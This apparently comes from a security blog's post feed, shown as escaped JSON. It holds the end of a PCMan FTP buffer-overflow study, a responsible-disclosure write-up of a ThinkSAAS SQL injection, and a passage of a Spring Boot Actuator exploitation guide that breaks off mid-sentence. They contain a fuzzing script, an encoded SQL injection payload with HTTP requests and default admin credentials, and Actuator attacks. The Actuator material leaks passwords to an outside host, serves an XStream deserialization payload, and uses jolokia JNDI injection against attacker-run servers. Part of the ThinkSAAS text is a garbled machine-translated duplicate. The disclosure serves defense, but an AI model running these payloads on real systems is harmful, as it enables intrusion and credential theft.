class=\"nn\"\u003esys\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003es\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esocket\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esocket\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esocket\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAF_INET\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003esocket\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eSOCK_STREAM\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003es\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003econnect\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;pacman\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e21\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# login BOF\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# Confirm the crash caused by bof here\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# It crashed at 2000\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"nb\"\u003erange\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1990\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e2050\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e%\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"n\"\u003es\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esend\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003eb\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;USER: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;A\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eencode\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\r\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eencode\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"n\"\u003edata\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003es\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003erecv\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1024\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nb\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003estr\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;:\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edecode\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2020/png/166008/1608557326874-aa4d8f12-7482-4d06-87ca-82402068e622.png\"\u003e\u003c/p\u003e\n\u003ch3 id=\"2-analyze-the-exception--determine-exploitability\"\u003e2. Analyze the exception =\u0026gt; determine exploitability\u003c/h3\u003e\n\u003cp\u003eWe observe that after sending 2000 A\u0026rsquo;s, the FTP server crashes and the \u003ccode\u003eEIP\u003c/code\u003e register is overwritten with \u003ccode\u003eAAAA\u003c/code\u003e (i.e., the \u003ccode\u003e41414141\u003c/code\u003e shown in the screenshot)\u003c/p\u003e","title":"[CVE-2013-4730] Studying the PCMan's FTP Server Buffer Overflow Vulnerability"},{"content":"Vulnerability name: ThinkSAAS latest version app/topic/action/admin/topic.php contains a SQL injection vulnerability (administrator privileges required)\nAuthor: Author of the vuln: Qianxin, Network Security Department, Product-Safety Team ( Unc1e )\nThis document provides responsible disclosure, aiming to give the open-source code vendor details of the security vulnerability and to facilitate a fix before the vulnerability is exploited in the wild.\n0x01 Background Last December, there was a security issue caused by improper URLDecode. See https://github.com/thinksaas/ThinkSAAS/issues/24\nTo summarize: in ThinkSAAS-master\\app\\topic\\action\\admin\\topic.php, improper filtering of the keyword parameter led to SQL injection.\nIn last year\u0026rsquo;s fix (click here to go directly), the $title variable was first replaced with $kw,\nand it was then filtered through the tsFilter function.\nBut this still carries a security risk\n0x02 Vulnerability Analysis Global filtering analysis\nIn ThinkSAAS-master\\thinksaas\\thinksaas.php#62, filtering is done with tsgpc\nThis is meant to prevent SQL injection\n(1) Improper filtering logic in the tsFilter function The tsFilter function is located in ThinkSAAS-master\\thinksaas\\tsFunction.php (click here to go directly)\nThis function replaces certain dangerous keywords with nothing, but it makes a mistake here: it replaces only once, which allows an attacker to use the double-write technique to construct a keyword like\nSELselect ECT to smuggle out a real SELECT\nTherefore, it is recommended to change the if that replaces only once into a while that replaces in a loop\n(2) Improper filtering order Note: the problem in (1) above is not the main one — even without problem (1), we could still carry out the SQL injection attack.\nThe logic implemented in app/topic/action/admin/topic.php (click here to go directly) takes the user-input variable $_GET['kw'], filters it first, and then decodes it with the URLDecode function, which creates the SQL injection vulnerability.\nSimply put, the problem is that the value being filtered differs from the value that is finally concatenated and passed into the database query.\nThe steps are as follows:\n1, User-input param: %2550%256f%2543%2527%2520%2561%256e%2564%2520%2528%2573%2565%256c%2565%2563%2574%2520%2531%2520%2566%2572%256f%256d%2520%2528%2573%2565%256c%2565%2563%2574%2520%2573%256c%2565%2565%2570%2528%2531%2529%2529%2578%2529%2520%252d%252d%2520 2, the $kw param the server received (the server auto URL-decodes once): %50%6f%43%27%20%61%6e%64%20%28%73%65%6c%65%63%74%20%31%20%66%72%6f%6d%20%28%73%65%6c%65%63%74%20%73%6c%65%65%70%28%31%29%29%78%29%20%2d%2d%20 - first goes through tsgpc() in thinksaas/thinksaas.php#62 - tsgpc() is essentially a wrapper around addslashes() to escape quotes [there are no single quotes at all at this point] - then goes to tsFilter() on line 13 above to filter blacklisted keywords [likewise, it performs no operation] - the parameter is unchanged 3, $kw=urldecode(tsFilter($_GET[\u0026#39;kw\u0026#39;])); at this point the $kw parameter is URL-decoded once more, restoring its \u0026#34;true face\u0026#34;: PoC\u0026#39; and (select 1 from (select sleep(1))x) -- 4, the statement finally passed into the database query (causing SQL injection): SELECT * FROM ts_topic WHERE `title` like \u0026#39;%PoC\u0026#39; and (select 1 from (select sleep(1))x) -- %\u0026#39; ORDER BY addtime desc Or, if this is still unclear, you can add \u0026ldquo;print the SQL statement\u0026rdquo; debug code at thinksaas\\tsApp.php#165, as shown in the figure below:\nGET /index.php?app=topic\u0026amp;ac=admin\u0026amp;mg=topic\u0026amp;ts=list\u0026amp;kw=%2550%256f%2543%2527%2520%2561%256e%2564%2520%2528%2573%2565%256c%2565%2563%2574%2520%2531%2520%2566%2572%256f%256d%2520%2528%2573%2565%256c%2565%2563%2574%2520%2573%256c%2565%2565%2570%2528%2531%2529%2529%2578%2529%2520%252d%252d%2520 HTTP/1.1 Host: thinksaas Cache-Control: max-age=0 DNT: 1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://thinksaas/index.php?install=result Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: PHPSESSID=t86vbus6e31om7uv1mrskb3ea5; Hm_lvt_5964cd4b8810fcc73c98618d475213f6=1627657957; Hm_lpvt_5964cd4b8810fcc73c98618d475213f6=1627657957 Connection: close 0x03 Vulnerability Verification First, visit the \u0026ldquo;system administration login\u0026rdquo; page and enter the account and password to log in to the backend.\nhttp://thinksaas/index.php?app=user\u0026amp;ac=system - the default account and password are - admin@admin.com / 123456 Next, visit the URL\nhttp://thinksaas//index.php?app=topic\u0026amp;ac=admin\u0026amp;mg=topic\u0026amp;ts=list\u0026amp;kw=%2550%256f%2543%2527%2520%2561%256e%2564%2520%2528%2573%2565%256c%2565%2563%2574%2520%2531%2520%2566%2572%256f%256d%2520%2528%2573%2565%256c%2565%2563%2574%2520%2573%256c%2565%2565%2570%2528%2531%2529%2529%2578%2529%2520%252d%252d%2520 You can observe a 2-second delay on the page — this is the proof of concept (PoC) for the vulnerability.\nWhen actually exploiting this vulnerability, an attacker can use logical operations and similar means to gain full control of the database, performing dangerous operations such as querying information from the database and writing a webshell.\n0x04 Remediation (1) Improve the tsFilter function The tsFilter function is located in ThinkSAAS-master\\thinksaas\\tsFunction.php (click here to go directly)\nAlthough a blacklist approach is not recommended for preventing SQL injection\u0026hellip; as a fix, the if in the tsFunction function that replaces only once can be changed into a while that replaces in a loop\n(2) Fix the logic in topic.php It is best to remove urldecode and filter directly.\nWith a [decode first, then filter] approach, the risk remains, because URLDecode decoding lets attackers bypass the global tsgpc() function; only using the addslashes function correctly can truly prevent SQL injection.\nChange the logic implemented in app/topic/action/admin/topic.php (click here to go directly) to\n$kw=tsFilter($_GET[\u0026#39;kw\u0026#39;]); //recommended CVE request info 0x01 Summay In last December last year, there were security problems caused by improper URLDecode. Referencehttps://github.com/thinksaas/ThinkSAAS/issues/24\nTo sum up, it is inThinkSAAS-master\\app\\topic\\action\\admin\\topic.php, improper filtering of keyword parameters leads to SQL injection.\nIn last year\u0026rsquo;s fix plan (clickHereDirect), the first is$titleChanged$kwVariable,\nAnd, aftertsFilterFunction filtering.\nHowever, there are still security risks now.\n# Responsible Vulnerability Disclosure info Title: ThinkSAAS has a Post-Auth SQL injection vulnerability in app/topic/action/admin/topic.php Desc: ThinkSAAS before 3.52 has SQL injection via the /index.php?app=topic\u0026amp;ac=admin\u0026amp;mg=topic\u0026amp;ts=list\u0026amp;title=PoC title parameter(need the privilege of admin), allowing logged attackers to execute arbitrary SQL commands.\tThis is a bypass of CVE-2020-35337. CVSS v3.1 Vector: - 7.5 AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:H/MUI:N/MS:C/MC:H/MI:H/MA:H Result: The vendor has confirmed this vuln and updated [ThinkSAAS 3.53] to fix this vuln. Reference: - https://github.com/thinksaas/ThinkSAAS/issues/28 0x02 security vulnerability analysis Global filtering analysis\nIn ThinkSAAS-master\\thinksaas\\thinksaas.php#62, usetsgpcFilter\nUsing addslashes to prevent SQL injection\n(1)tsFilterImproper function filtering logic tsFilterFunctionThinkSAAS-master\\thinksaas\\tsFunction.phpIn (clickHereDirect)\nThis function replaces some of the dangerous keywords with null, but an error is made here: it is replaced only once, causing attackers to use the double-write method to construct\nSELselect ECT To escape from the realSELECT\nTherefore, we recommend that youReplace only onceTheIf, change to meetingLoop replacementTheWhile\n(2) improper filtering order Please note: The problem in (1) just now is not the most important-even if there is no problem in (1), we can also carry out SQL injection attacks.\nInapp/topic/action/admin/topic.phpIn the implementation of the logic (clickHereDirect), is the user input variable$_get ['kw']The SQL injection vulnerability is caused by filtering and then using URLDecode function decoding.\nIn short, it isThe value of the filter.WithFinally concatenate and substitute the values of the Query DatabaseProblems caused by differences.\nThe procedure is as follows:\n1, User-input param: %2550%256f%2543%2527%2520%2561%256e%2564%2520%2528%2573%2565%256c%2565%2563%2574%2520%2531%2520%2566%2572%256f%256d%2520%2528%2573%2565%256c%2565%2563%2574%2520%2573%256c%2565%2565%2570%2528%2531%2529%2529%2578%2529%2520%252d%252d%2520 2, the $kw param Server received(has been auto UrlDecoded for once): %50%6f%43%27%20%61%6e%64%20%28%73%65%6c%65%63%74%20%31%20%66%72%6f%6d%20%28%73%65%6c%65%63%74%20%73%6c%65%65%70%28%31%29%29%78%29%20%2d%2d%20 - goto thinksaas/thinksaas.php#62 via tsgpc() - tsgpc() actually do addslashes() to escape [\u0026#39;,\u0026#34;][there is no [\u0026#39;,\u0026#34;], you konw] - then via the line 13 tsFilter() to filter black-word[actually do no operation] - param no change 3, $kw=urldecode(tsFilter($_GET[\u0026#39;kw\u0026#39;])); notice the $kw param has been UrlDecoded agained (for twice, you know): PoC\u0026#39; and (select 1 from (select sleep(1))x) -- 4,So the impace is: Post-Auth SQL-injection: SELECT * FROM ts_topic WHERE `title` like \u0026#39;%PoC\u0026#39; and (select 1 from (select sleep(1))x) -- %\u0026#39; ORDER BY addtime desc Or if you still feel unclear, you canthinksaas\\tsApp.php#165Add the debugging code of \u0026ldquo;print SQL statement\u0026rdquo;, as shown in the following figure:\nGET /index.php?app=topic\u0026amp;ac=admin\u0026amp;mg=topic\u0026amp;ts=list\u0026amp;kw=%2550%256f%2543%2527%2520%2561%256e%2564%2520%2528%2573%2565%256c%2565%2563%2574%2520%2531%2520%2566%2572%256f%256d%2520%2528%2573%2565%256c%2565%2563%2574%2520%2573%256c%2565%2565%2570%2528%2531%2529%2529%2578%2529%2520%252d%252d%2520 HTTP/1.1 Host: thinksaas Cache-Control: max-age=0 DNT: 1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://thinksaas/index.php?install=result Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: PHPSESSID=t86vbus6e31om7uv1mrskb3ea5; Hm_lvt_5964cd4b8810fcc73c98618d475213f6=1627657957; Hm_lpvt_5964cd4b8810fcc73c98618d475213f6=1627657957 Connection: close Causing a delay of 2 seconds\n0x03 vulnerability verification(PoC \u0026amp; EXPLOIT) GET /index.php?app=topic\u0026amp;ac=admin\u0026amp;mg=topic\u0026amp;ts=list\u0026amp;title=PoC%%2527+and/**/1-(select/**/1/**/from/**/(select+sleep(3))a)%2523%2520 HTTP/1.1 Host: thinksaas User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4230.1 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-SG,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Referer: http://thinksaas/index.php?app=search\u0026amp;ac=s\u0026amp;kw=keyword Cookie: PHPSESSID=6im4ssqo33h8l2d43u78nbr4c3; ts_autologin=goh59atl3dsk44o4sws48s80co44ww8 Upgrade-Insecure-Requests: 1 First, access the system management login interface, enter the account and password to log on to the background.\nhttp://thinksaas/index.php?app=user\u0026amp;ac=system - Default password is: - admin@admin.com / 123456 Next, visit the URL\nhttp://thinksaas//index.php?app=topic\u0026amp;ac=admin\u0026amp;mg=topic\u0026amp;ts=list\u0026amp;kw=%2550%256f%2543%2527%2520%2561%256e%2564%2520%2528%2573%2565%256c%2565%2563%2574%2520%2531%2520%2566%2572%256f%256d%2520%2528%2573%2565%256c%2565%2563%2574%2520%2573%256c%2565%2565%2570%2528%2531%2529%2529%2578%2529%2520%252d%252d%2520 A 2-second latency is observed on the web page, which is the proof of concept (PoC) of the vulnerability.\nWhen exploiting this vulnerability, attackers can use logical operations to fully control the database, query information in the database, write data to webshell, and other dangerous operations.\n0x04 vulnerability fix (1) optimizationtsFilterFunction tsFilterFunctionThinkSAAS-master\\thinksaas\\tsFunction.phpIn (clickHereDirect)\nWe recommend that you do not use a blacklist to prevent SQL injection. However, if the solution is fixed, you can tsFunction the functionReplace only onceTheIf, change to meetingLoop replacementTheWhile\n(2) fixed the logic in topic.php. Best removeurldecode, filter directly.\nIf [decode first, then filter], there is still a risk, because the URLDecode decode, so that attackers can bypass the globaltsgpc()To prevent SQL injection, use the addslashes function correctly.\nWillapp/topic/action/admin/topic.phpIn the implementation of the logic (clickHereDirect), changed\n$kw=tsFilter($_GET[\u0026#39;kw\u0026#39;]); //recommended 0x05 Time Line 2021.07.31 08:40, Qianxin, Network Security Department, Product-Safety Team ( Unc1e ) reported this issue to the developer of ThinkSAAS, via Wechat. 2021.07.31 09:07, ThinkSAAS confirmed this vulnerability. 2021.07.31 09:26, Qianxin, Network Security Department, Product-Safety Team ( Unc1e ) reviewed the mitigation of this vuln. (See https://github.com/thinksaas/ThinkSAAS/commit/07ad8499afebd452647e2a95996ff90496d98093#diff-96592e102fa5e61c02150b963d7e30f03b7a5270be074b22091c1aca4bb321fb) 2021.07.31 12:00, ThinkSAAS updated ThinkSAAS 3.53 to fix this vuln. ","permalink":"https://www.unc.la/en/posts/penetration/xbr4xw/","summary":"\u003cp\u003e\u003cstrong\u003eVulnerability name:\u003c/strong\u003e ThinkSAAS latest version app/topic/action/admin/topic.php contains a SQL injection vulnerability (administrator privileges required)\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eAuthor:\u003c/strong\u003e Author of the vuln: Qianxin, Network Security Department, Product-Safety Team ( Unc1e )\u003c/p\u003e\n\u003cp\u003eThis document provides responsible disclosure, aiming to give the open-source code vendor details of the security vulnerability and to facilitate a fix before the vulnerability is exploited in the wild.\u003c/p\u003e\n\u003ch1 id=\"0x01-background\"\u003e0x01 Background\u003c/h1\u003e\n\u003cp\u003eLast December, there was a security issue caused by improper URLDecode. See \u003ca href=\"https://github.com/thinksaas/ThinkSAAS/issues/24\"\u003ehttps://github.com/thinksaas/ThinkSAAS/issues/24\u003c/a\u003e\u003c/p\u003e","title":"Post-Auth SQL injection vulnerability in app/topic/action/admin/topic.php#2 (bypass of CVE-2020-35337)"},{"content":"0. Background Actuator endpoints allow you to monitor and interact with your application. Spring Boot includes a number of built-in endpoints, and you can add your own as well. For example, the health endpoint provides basic application health information.\ndirsearch supports scanning for Actuator endpoints.\n1. Vulnerability Detection Identifying SpringBoot /error, There was an unexpected error (type=None, status=\u0026lt;font style=\u0026quot;color:rgb(0, 0, 0);\u0026quot;\u0026gt;999\u0026lt;/font\u0026gt;). /resume, There was an unexpected error (type=Method Not Allowed, status=\u0026lt;font style=\u0026quot;color:rgb(0, 0, 0);\u0026quot;\u0026gt;405\u0026lt;/font\u0026gt;). For Spring 1x, they are registered under /; in 2x, they were moved to the /actuator/ base path.\nIdentifying Actuator Refer to https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt\nImportant routes:\nCommon spring boot functionality /dump - displays the thread dump (including stack traces) /autoconfig - displays the auto-configuration report /configprops - displays configuration properties /trace - displays the last few HTTP messages (may contain session identifiers) /logfile - outputs the contents of the log file /shutdown - shuts down the application /info - displays application information /metrics - displays \u0026#34;metrics\u0026#34; information for the current application /health - displays the application\u0026#39;s health indicators /beans - displays the complete list of Spring Beans /mappings - displays all MVC controller mappings /env - provides access to the configuration environment /restart - restarts the application 2. Vulnerability Exploitation 0x01 /env Leading to Information Disclosure Search globally for password, pwd\nVia **${name}** ** you can retrieve plaintext fields**\nFor example, for the gitPassword variable, send the following request, then POST arbitrary content to refresh, to retrieve the corresponding information (obtain the password via basic authentication):\nPOST /env HTTP/1.1 Host: 0.0.0.0(actual IP or host address) Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 81 eureka.client.serviceUrl.defaultZone=http://${gitPassword}@0.0.0.0:8080 Ps: Normally you need to wait 3 seconds for a response packet. If it returns immediately, the service may be missing the spring-boot-starter-actuator extension package, in which case the refresh vulnerability cannot be exploited.\nA trick that requires no VPS\nWhen both /env and /trace are available, you can send a POST request to localhost and leak the password through /trace.\nSay my actuator is running on port 8090; then POST ${PID} to localhost:\nPOST /env HTTP/1.1 Host: actuator:8090 Content-Type: application/x-www-form-urlencoded Content-Length: 76 eureka.client.serviceUrl.defaultZone=http://${PID}@127.0.0.1:8090/poc/${PID} Then just go look for the plaintext value under /env!\n0x02 Eureka-Client \u0026lt;1.8.7 XStream Deserialization Vulnerability Note: This vulnerability overwrites the remote host\u0026rsquo;s configuration. It is recommended to save the original defaultZone first and change it back after exploitation is finished, otherwise the service may crash.\nThe defaultZone field exists in /configprops The Eureka field exists in /health Exploitation script (Windows):\nfrom flask import Flask, Response app = Flask(__name__) @app.route(\u0026#39;/\u0026#39;, defaults={\u0026#39;path\u0026#39;: \u0026#39;\u0026#39;}) @app.route(\u0026#39;/\u0026lt;path:path\u0026gt;\u0026#39;, methods = [\u0026#39;GET\u0026#39;, \u0026#39;POST\u0026#39;]) def catch_all(path): xml = \u0026#34;\u0026#34;\u0026#34;\u0026lt;linked-hash-set\u0026gt; \u0026lt;jdk.nashorn.internal.objects.NativeString\u0026gt; \u0026lt;value class=\u0026#34;com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\u0026#34;\u0026gt; \u0026lt;dataHandler\u0026gt; \u0026lt;dataSource class=\u0026#34;com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\u0026#34;\u0026gt; \u0026lt;is class=\u0026#34;javax.crypto.CipherInputStream\u0026#34;\u0026gt; \u0026lt;cipher class=\u0026#34;javax.crypto.NullCipher\u0026#34;\u0026gt; \u0026lt;serviceIterator class=\u0026#34;javax.imageio.spi.FilterIterator\u0026#34;\u0026gt; \u0026lt;iter class=\u0026#34;javax.imageio.spi.FilterIterator\u0026#34;\u0026gt; \u0026lt;iter class=\u0026#34;java.util.Collections$EmptyIterator\u0026#34;/\u0026gt; \u0026lt;next class=\u0026#34;java.lang.ProcessBuilder\u0026#34;\u0026gt; \u0026lt;command\u0026gt; \u0026lt;string\u0026gt;cmd\u0026lt;/string\u0026gt; \u0026lt;string\u0026gt;/c\u0026lt;/string\u0026gt; \u0026lt;string\u0026gt;calc.exe\u0026lt;/string\u0026gt; \u0026lt;/command\u0026gt; \u0026lt;redirectErrorStream\u0026gt;false\u0026lt;/redirectErrorStream\u0026gt; \u0026lt;/next\u0026gt; \u0026lt;/iter\u0026gt; \u0026lt;filter class=\u0026#34;javax.imageio.ImageIO$ContainsFilter\u0026#34;\u0026gt; \u0026lt;method\u0026gt; \u0026lt;class\u0026gt;java.lang.ProcessBuilder\u0026lt;/class\u0026gt; \u0026lt;name\u0026gt;start\u0026lt;/name\u0026gt; \u0026lt;parameter-types/\u0026gt; \u0026lt;/method\u0026gt; \u0026lt;name\u0026gt;foo\u0026lt;/name\u0026gt; \u0026lt;/filter\u0026gt; \u0026lt;next class=\u0026#34;string\u0026#34;\u0026gt;foo\u0026lt;/next\u0026gt; \u0026lt;/serviceIterator\u0026gt; \u0026lt;lock/\u0026gt; \u0026lt;/cipher\u0026gt; \u0026lt;input class=\u0026#34;java.lang.ProcessBuilder$NullInputStream\u0026#34;/\u0026gt; \u0026lt;ibuffer\u0026gt;\u0026lt;/ibuffer\u0026gt; \u0026lt;/is\u0026gt; \u0026lt;/dataSource\u0026gt; \u0026lt;/dataHandler\u0026gt; \u0026lt;/value\u0026gt; \u0026lt;/jdk.nashorn.internal.objects.NativeString\u0026gt; \u0026lt;/linked-hash-set\u0026gt;\u0026#34;\u0026#34;\u0026#34; return Response(xml, mimetype=\u0026#39;application/xml\u0026#39;) if __name__ == \u0026#34;__main__\u0026#34;: app.run(host=\u0026#39;0.0.0.0\u0026#39;, port=8) Note that the command to execute goes inside \u0026lt;string\u0026gt;. Tested: the following payload also works on Windows:\n\u0026lt;string\u0026gt;cmd /c calc.exe\u0026lt;/string\u0026gt; First, run the Python script above to bring up the exploitation VPS\n①POST /env\nPOST /env HTTP/1.1 Host: actuator:8090 Content-Type: application/x-www-form-urlencoded Content-Length: 37 eureka.client.serviceUrl.defaultZone=http://127.0.0.1:8/ ②POST /refresh\nPOST /refresh HTTP/1.1 Host: actuator:8090 Content-Type: application/x-www-form-urlencoded Content-Length: 0 ③Restore the original defaultZone\nOne more small detail: for Spring 2.x, a JSON Content-Type is required:\nPOST /actuator/env HTTP/1.1 Host: actuator:8090 Content-Type: application/json Content-Length: 0 {\u0026#34;name\u0026#34;:\u0026#34;eureka.client.serviceUrl.defaultZone\u0026#34;, \u0026#34;value\u0026#34;:\u0026#34;http://0.0.0.0:8/\u0026#34;} Likewise, POST refresh also requires setting Content-Type: application/json\n0x03 /jolokia reloadByURL Vulnerability The \u0026ldquo;reloadByURL\u0026rdquo; operation provided by the Logback library allows us to reload the logging configuration from an external URL\nIn /jolokia/list, the reloadByURL value exists PoC Get\n/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/[DNSLOG]!/logback.xml Receive\nIt contains JDK version information. And of course, as you know, this approach works with DnsLog\nJNDI=\u0026gt;RCE HTTP Server, host logback.xml with the following content:\n\u0026lt;configuration\u0026gt; \u0026lt;insertFromJNDI env-entry-name=\u0026#34;rmi://[ip]:[port]/1u4fif\u0026#34; as=\u0026#34;appName\u0026#34; /\u0026gt; \u0026lt;/configuration\u0026gt; Then set up a malicious RMI server listening on port 1099\n(You can use JNDI-Injection-Exploit to set up the malicious RMI service)\nFinally, just send a request to the Actuactor and it\u0026rsquo;s done\nGET /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/[http.server]!/logback.xml HTTP/1.1 Host: actuator:8090 XXE Under the /jolokia/list directory, if the logback component exists, you can use jolokia to remotely include a logback.xml configuration file, causing blind XXE.\nGET /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1:8!/logback.xml HTTP/1.1 Host: actuator:8090 Trying to use XXE for DoS will fail — the JDK imposes restrictions\u0026hellip;\n0x04 /jolokia createJNDIRealm Deserialization In /jolokia/list, createJNDIRealm exists If the target site has the jolokia endpoint enabled and the createJNDIRealm method exists, a JNDI injection RCE test can be performed There are 5 steps in total:\nCreate the JNDIRealm Write contextFactory as RegistryContextFactory Write connectionURL as your RMI Service URL Stop the Realm Start the Realm to trigger the JNDI injection It\u0026rsquo;s all integrated into the script below!\nAs before, first set up the 